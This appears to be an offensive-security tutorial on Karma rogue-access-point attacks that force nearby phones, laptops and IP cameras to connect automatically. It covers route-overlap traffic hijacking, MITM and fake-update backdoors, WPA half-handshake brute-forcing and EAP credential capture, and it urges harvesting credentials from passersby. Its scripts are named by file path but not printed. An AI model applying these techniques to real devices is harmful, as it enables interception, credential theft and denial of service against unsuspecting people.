KARMAgeddon. Attacking client devices with Karma

KARMA is a recursive acronym for: Karma Attacks Radioed Machines Automatically. And the key word is “automatically”!

Hackers attacking Wi-Fi are primarily focused on access points. First, access points are easier targets since they don’t move and announce themselves by continuously broadcasting beacon packets. Second, a compromised access point opens significant and tangible prospects to an attacker.

Client devices are a different story. What benefits can they provide to a hacker? Such devices are less audible since they don’t send packets into the airwaves as actively as access points. On the other hand, client devices can be found everywhere: laptops, phones, IP cameras, various embedded devices, etc. In my opinion, Karma is the best attack that can be applied to a wide range of client devices. It’s rather difficult to implement, but its exploitation opens up massive opportunities for your creativity.

Theory

All attacks targeting clients (both users and their devices) are delivered via RoqueAPs (rogue access points). They exploit user’s trust in malicious wireless networks. Since it’s the client side that initiates the connection, trust is a mandatory prerequisite for such attacks. Important: trust can originate not only from the human victim: a client device can trust in rogue access points as well. And Karma effectively forces client devices to connect to a RoqueAP via Wi-Fi automatically (i.e. without user involvement).

Similar to Evil Twin attacks, Karma is a subcategory of RoqueAP attacks. But these two techniques must never be confused. Evil Twin is the most well-known attack targeting humans (wireless phishing). In other words, this is a social attack that requires direct user involvement. By contrast, Karma targets client devices and is delivered automatically (i.e. without user involvement). It doesn’t matter whether the victim is currently using the device or not, whether it’s locked or unlocked, or whether it’s in victim’s hands or in a pocket: it’s still susceptible to Karma attacks.

Background

According to sources, two behavioral features of client devices make this attack possible:

• broadcasting the so-called Preferred Network List (PNL) that contains names of wireless networks known to the client (i.e. those the client had previously connected to); and 
• automatic connection to such networks.

Various descriptions of Karma focus mainly on the first point: PNL disclosure. However, devices that don’t broadcast this list can be attacked as well. In my opinion, the second feature (i.e. automatic connection) is much more important.

Client devices that aren’t connected to a network aren’t as ‘talkative’ as access points, but they still send probe packets containing PNL on a regular basis (as said above, these Preferred Network Lists contain names of wireless networks the device can connect to without user involvement).

Clients whose Wi-Fi is turned on but who aren’t connected to any network are marked by red circles. Such devices are primary targets for Karma.

Names contained in probe requests sent by networks may be old and not used anymore (corp_old); however, they are still stored on client devices. In addition, clients can remember home or hotel networks that aren’t present in the current location.

Another example: to configure various devices (e.g. IP cameras), administrators could use test networks that remain stored in the device memory.

And the point is that client devices are still ready and willing to connect to such networks automatically, without user involvement. This way, you can attack client devices when they are located far from networks they normally use, which makes such attacks invisible.

Implementation

The attack is implemented as follows: the attacker listens to packets containing PNLs and deploys the requested wireless network in the hope that the client device connects to it.

Technically, the Karma attack can be implemented in two ways:

1. For each client’s probe request, a fully-featured wireless network with the requested name is deployed; or 
2. For each client’s probe request, a probe response is sent (sometimes, a beacon packet as well); accordingly, the attacker doesn’t redeploy a new network every time.

The first method is quite simple. It requires a monitor interface to monitor probe requests and a WLAN interface to deploy access points. The newly-deployed access point starts sending probe responses and beacons that could attract a client. To deliver such an attack, you will only need tcpdump, hostapd, and dnsmasq.

However, this method has certain limitations:

• two interfaces are required; and 
• only one wireless network is deployed at a time, thus, making it impossible to test other network names at the same time.

The second method is more rational. To ensure that the client connects to your rogue access point, you don’t have to redeploy it every time. Instead, you send a respective probe response to the client’s probe request. For some clients, you also have to send respective beacon packets. The possibility to send arbitrary probe and beacon packets to clients is implemented in the patched version of hostapd-mana. Furthermore, the monitor mode isn’t required to receive and transmit probe and beacon packets: everything is implemented in the standard network card mode.

You can notify a client about the presence of an access point in two ways:

1. Probe response (i.e. a targeted response to client’s probe request); or 
2. Beacon (i.e. a broadcast announcement of a wireless network).

Normally, access points announce their presence by broadcasting beacon packets audible to all wireless clients in the area. But to save clients’ computing power, an alternative search mode has been developed: the client sends a broadcast probe request containing the name of the network it’s interested in, and the access points must respond to this request with a probe response.

The possibility to connect a client using only a probe response has a specific feature: only one client becomes aware of the presence of your access point. This makes the probe-only Karma attack silent.

But not all client devices support this operation mode; accordingly, they also require a classic beacon packet. Attacks involving beacons are louder since all clients become aware of the presence of your network (Loud Karma).

Practice

Time to put your new knowledge to use and deliver a Karma attack. There are two ways to find out what network names are of interest to a client.

PNL leak

Access points announce their presence by sending beacon packets; while clients, by sending probe requests. You can use various utilities to view PNLs contained in such requests: airodump-ng, hcxdumptool, or even tcpdump:

wifi/roque_ap/karma/PNL.sh

As you can see, many devices broadcast PNLs that aren’t empty.

This method is efficient and enables you to immediately attack the device by deploying a wireless network with the respective name. But if you use probe requests to find out the names of wireless networks, you won’t find out the type of network the client is requesting. Ideally, you should simultaneously deploy three wireless networks of the same name: OPN, WPA, and EAP.

Known beacons

Not all devices actually send probe requests containing lists of trusted networks. Devices that send empty PNLs are believed to be Karma-resistant. However, their ability to connect automatically is still of interest to a hacker. This means that the number of devices vulnerable to Karma is much greater than it’s commonly believed. You don’t know what networks had the client connected to in the past, but why don’t you guess?

Having a list of most commonly used wireless network names, you can simply iterate through it by sending beacon packets until the client device connects to you.

The only public tool that can deliver the known beacons attack for all three types of networks is hostapd-eaphammer. Among other things, this modified implementation of hostapd can send arbitrary beacon packets per a list. The following interactive script iterates through beacons contained in a wordlist and concurrently specifies the network type:

wifi/roque_ap/karma/known_beacons.sh

You run this script and see that a seemingly invincible locked Windows laptop is ready and willing to connect to you!

After its connection, you can deliver any attacks and, for instance, extract user’s hash.

For experiments with known beacons, I wrote a simple scapy-based Python implementation.

Attacks

Wikipedia claims that Karma targets open networks, but, in reality, nothing prevents you from using it against closed networks as well. Depending on the type of your newly-deployed network, three scenarios are possible:

• OPN – deploying an open network, receiving device traffic, and delivering network attacks against the device;
• WPA – capturing saved password in the form of half-handshake, brute-forcing it, and continuing as per the OPN scenario; and 
• EAP – intercepting credentials.

Overall, the matrix of possible Karma attacks is quite extensive.

However, all public tools capable to deliver a Karma attack don’t perform any actions after the client’s connection. If you implement such an attack, you don’t want to stop it when the client device connects to you! Quite the opposite, it’s now time to apply certain techniques that are suitable for this particular case. The fun just begins after the client’s connection. But first things first.

Karma-OPN

The Karma attack delivered via open networks provides you with a network channel for interaction with the client. And taking that the attacker is in the gateway position in relation to the client (i.e. the attacker forwards client’s traffic), it’s possible to unleash multiple attacks on the victim: from simple network attacks to MITM. Also, when the client connects, special network settings configured via DHCP make it possible to force the client to forward network traffic from other interfaces via the attacker as well, thus, achieving a super-MITM effect. Let’s see what it involves.

Attack OPN → Overlap

In most cases, devices that are often connected to open networks either have unconfigured settings or their IP address lease has already expired. By default, network interfaces request settings via DHCP. The fact that the client device asks you for your network parameters enables you to perform a rather cunning and dangerous trick. Instead of the standard mask 0.0.0.0/0 (default to all addresses), you can use two masks, 0.0.0.0/1 + 128.0.0.0/1, that together form the same default route:

Now your wireless interface becomes the default one and is used for access to any IPv4 addresses. However, since you have specified it using two net masks that are slightly shorter, your route has a priority over the standard 0.0.0.0/0 (networks with shorter net masks always have priority). Therefore, if the client who has connected to you already has a network interface (e.g. a wired one), its traffic will be forwarded to you. This way, you can intercept traffic from any adjacent interface.

In fact, in addition to the ‘super-MITM’ effect, such behavior has another dangerous – although predictable – implication: the device can become inaccessible from other networks. Imagine a fairly realistic scenario: you launch a Karma attack, and multiple IP cameras connect to you. After all other routes are blocked, these cameras (that are connected to the video surveillance console via wire) can become inaccessible.

Accordingly, the above-described trick with routes enables you to:

• intercept traffic from adjacent network interfaces; and 
• initiate a network denial of service.

Attack OPN → MITM

It doesn’t matter whether the client device has other network interfaces and whether they have been blocked or not: using DHCP, you can become a gateway for the client in any case. This means that victim’s traffic towards the Internet will go through you. Being in a legitimate MITM position, the attacker can try to interfere with SSL traffic, read or spoof unencrypted traffic, or send an update signal and inject a backdoor.

Attack OPN → access to network

In the end, a network channel between the attacker and the victim is created, and it can be used to launch arbitrary application-level attacks: from vulnerabilities in software and OS to password guessing and subsequent device compromise.

Important: initially, you don’t know the type of device that will connect to you. This creates certain difficulties. For instance, you must be ready to attack any device, and this has to be done quickly; accordingly, automation is required.

Now let’s summarize the possible variants.

If you forced someone’s laptop to connect to you, you can start guessing its password or exploit some vulnerability and gain access to the system.

If the connected device is a smartphone, it will start transmitting confidential information via the attacker. In addition, hundreds of mobile apps installed on phones for all occasions can openly send sensitive data. They can incorrectly validate an SSL certificate or be vulnerable to arbitrary code execution if traffic is spoofed…

If you encounter a printer connected by wire to a corporate network, it also can forward traffic via itself. In the worst case scenario, a wireless printer can become your gateway to the company’s internal network.

Finally, IP cameras can connect to you as well. In such a case, you at least gain access to the device and its video information. At most, IP cameras can be subsequently hacked and used as penetration points (as you are aware, their security leaves a great deal to be desired). Especially taking that IP cameras are often located within the physical boundaries of a perimeter, and can be accessed from the street.

As you can see, various client devices with Wi-Fi that can be found everywhere can connect to some wireless networks for a short time, which makes them vulnerable to attacks.

Exploitation

Time for exploitation. The script below delivers an automated attack targeting client devices in the area via open wireless networks:

wifi/roque_ap/karma/attack-opn.sh

The script executes three attack components that are divided into three areas:

1. Hostapd-mana access point that responds to all clients;
2. DHCP server that distributes network settings to connecting clients; and 
3. Attack engine that launches attacks.

The deployment of hostapd-mana doesn’t require any prior configuring. For instance, the DHCP network configuration can be as follows:

wifi/roque_ap/karma/dnsmasq-attack.conf

This is where the route overlap trick comes into play. It enables you to change routing settings by giving the wireless connection a higher priority and forward traffic from other network interfaces on the victim’s device to yourself. This makes it possible both to intercept additional data and cause a denial of service since the device becomes inaccessible via other network interfaces.

The attack engine that reacts to new clients and delivers arbitrary attacks against them is implemented in the script below:

wifi/roque_ap/karma/attack.sh

Important: not only does the attacker silently force clients to connect via Wi-Fi, but also automatically delivers various attacks. Since devices are connected and disconnected quite quickly, automation is a must.

Using Karma, a hacker can attack any equipment, including autonomous devices (e.g. IP cameras). However, you don’t know in advance what device would connect to you; accordingly, the range of possible attacks must be as wide as possible.

In terms of exploitation, Karma-OPN is a wireless analogue of BadUSB-ETH. In addition to malicious tricks described earlier (namely: attacks on NetBIOS resulting in hash leaks (on_network/responder .sh), web cache poisoning and hijacking cookies (on_network/poisontap.sh), certificate spoofing, and manipulations with encrypted HTTPS traffic (on_network/sslsplit.sh)), there are plenty of other options at your disposal. For instance, you can activate attacks on unsafe updates using evilgrade:

on_network/evilgrade.sh

As you are probably aware, many popular apps are still updated using the HTTP protocol that is vulnerable to spoofing. In addition, mobile apps installed on smartphones often have vulnerabilities. It’s always a good idea to run a simple port scan for each connected device:

on_client/scan.sh

Open ports enable you to identify the type of the connecting device. It cannot be ruled out that the connected device can forward traffic through itself. If so, the attacker can penetrate into another network, potentially a corporate one:

on_client/ip_forwarding.sh

Since many IoT devices are vulnerable to Karma attacks, it makes sense to check for their specific vulnerabilities as well:

on_client/routersploit.sh

If a connected IP camera has open ports, then you can use routersploit to detect a potential RCE or other vulnerability. In addition, you can check whether it’s possible to anonymously connect to the video stream:

on_client/rtsp.sh

Even IP cameras whose web admin panels are protected by passwords sometimes allow you to connect to their stream via RTSP without authentication. An attacker equipped with a smartphone is highly mobile and can see the attack results in real time. In the picture below, an open access point attempts to force all wireless devices located around it (the upper part of the screen) to connect to it. Devices that were looking for an open network connect to the rogue access point and receive network settings via DHCP (the middle part of the screen). Finally, the attack script (the lower part of the screen) runs various scenarios, and you can see (based on the port scan results) that an IP camera has connected to your phone.

Also, the list of open ports includes 554/TCP, and, sometimes, you can receive a video stream from it without authentication.

Karma-WPA

The scope of Karma attacks isn’t limited to open networks; they can be applied to closed networks as well.

The article Brute-force on-the-fly. Attacking wireless networks in a simple and effective way describes in detail the mechanism used to guess the pre-shared key. This mechanism requires only two packages: EAPOL M1 and M2 (half-handshake). The client device sends the password in an M2 packet, and you can find out the password to a network remembered by this device without an access point.

Since initially you don’t know the password used by the client device to connect to you, you won’t be able to decrypt traffic from the client. It also won’t be possible to organize network interaction and attack the client. However, client devices will send you half-handshakes from networks known to them, thus, enabling you to brute-force passwords to these networks.

wifi/roque_ap/karma/attack-wpa.sh

The first component is hcxdumptool: it responds to all probe requests with respective probe responses and also sends an EAPOL M1 packet forcing the client to send an M2 packet with a handshake in response. Important: no access point is actually deployed; all manipulations with Wi-Fi packets are performed in raw mode, and the monitor mode must be enabled on the attacker’s network card.

The second component performs brute-forcing since the received half-handshakes contain everything required to recover the client’s password:

wifi/roque_ap/karma/brute_half.sh

In other words, you don’t need an access point to guess a password to a wireless network. In the picture below, WPA networks requested by the client device are simulated. As a result, the attacked smartphone tries to connect to you: after sending a WPA half-handshake (EAPOL M1 + M2), it attempts to authenticate with the saved password. And you successfully guess the password.

Using the guessed password, a fully-functional WPA access point is deployed (simulating a home or hotel Wi-Fi network known to the victim device), and traffic reception from the victim’s mobile phone is initiated. Similar to the game Watch Dogs, the Karma attack enables you to force client devices, including passersby’s smartphones, to connect to you.

In fact, it’s quite possible to hack a smartphone in a few seconds: the attacker must obtain a private key to any root certificate and use it to decrypt HTTPS traffic. After that, the victim’s connected device receives modified traffic from Play Market where, as you know, remote app installation can be initiated. This way, a trojan can be installed to extract data from installed mobile banking clients (like it happens in the game).

Karma-EAP

The supposedly secure Enterprise standard for wireless networks sometimes turns out to be more vulnerable than your neighbor’s Wi-Fi. The main advantage of the Karma-EAP attack is that it can be delivered anywhere, even outside the action range of a legitimate network.

To attack WPA-Enterprise, you have to deploy a network with the correct name. In other words, you must know the network name, which isn’t always possible (since networks can be hidden).

But the Karma attack makes it possible to find out names of such networks. Therefore, an attacker can respond to each probe request with a respective probe response, thus, indicating that such a network exists. After that, the attacker can accept connections from client devices prompting them to authenticate using the insecure GTC or MSCHAP protocols. If client’s probe requests indicate that it’s looking for a WPA-Enterprise network, it will ‘find’ it, and the attacker will receive the client’s credentials.

wifi/roque_ap/karma/attack-eap.sh

The configuration file can be taken from the eaphammer/local/hostapd-eaphammer/hostapd/hostapd.conf directory. For a Karma attack, it must contain, among other things, one or two directives:

Similar to hostapd-mana, modified hostapd-eaphammer (which is based on hostapd-wpe) can respond to clients with probe responses and beacons containing the requested network names. As a result, clients believe that the attacker’s wireless network is known to them and they had connected to it in the past. In the picture below, a client device automatically sends credentials to the attacker’s smartphone even though the attacker doesn’t know the network name.

How many networks can be attacked this way? To force a client device located in a passerby’s pocket or bag to connect to your phone, you don’t need to know the name of the wireless network. You just visit a crowded area where you can easily gain domain accounts of various companies, both small and large. Concurrently, the fact of the attack (i.e. the reason behind the leakage of credentials) cannot be detected: it’s the client device that compromises the victim, not your access point.

Conclusions

The Karma attack is extremely mobile since it targets clients who are mobile as well. Successful exploitation cannot be guaranteed: it requires a maximum number of clients distributed over an area. And despite the implementation of numerous automatic checks, the attacker might need direct interaction with the connected device. Initial Karma attacks (whose purpose is to identify connected devices and check for the most trivial vulnerabilities) can be delivered from a smartphone. Then, to ensure stable interaction with a vulnerable device (e.g. an IP camera installed on the fence of a protected perimeter), a 4G VPN channel to a Pineapple device can be used. A small device planted in the vicinity of a target enables you to remotely deliver lengthy and more complex attacks:

On the Pineapple side:

On the attacker’s side:

It’s hard to imagine how many devices are actually equipped with Wi-Fi modules nowadays. Embedded electronics are often based on extremely popular ARM processors that represent an entire system on a crystal, including Wi-Fi and plenty of other stuff. From the manufacturer’s perspective, it’s easier to add such a standard (and cheap!) chip produced in millions of copies to a device than develop a special chip for each task.

Countless devices around you have Wi-Fi onboard: phones in people’s pockets, IP cameras mounted everywhere, laptops in nearby premises, and even smart house components. Such devices with Wi-Fi don’t send anything over the air; instead, they wait for a wireless network with the right name to be deployed.

The Karma attack isn’t based on a specific vulnerability; it exploits standard behavioral features of client devices, including automatic connection. Accordingly, to protect yourself from such attacks, just disable the Auto Connect function, and that’s it. Even though this mechanism has been known for two decades, Karma attacks are so covert and difficult-to-control that they will remain relevant for many years to come.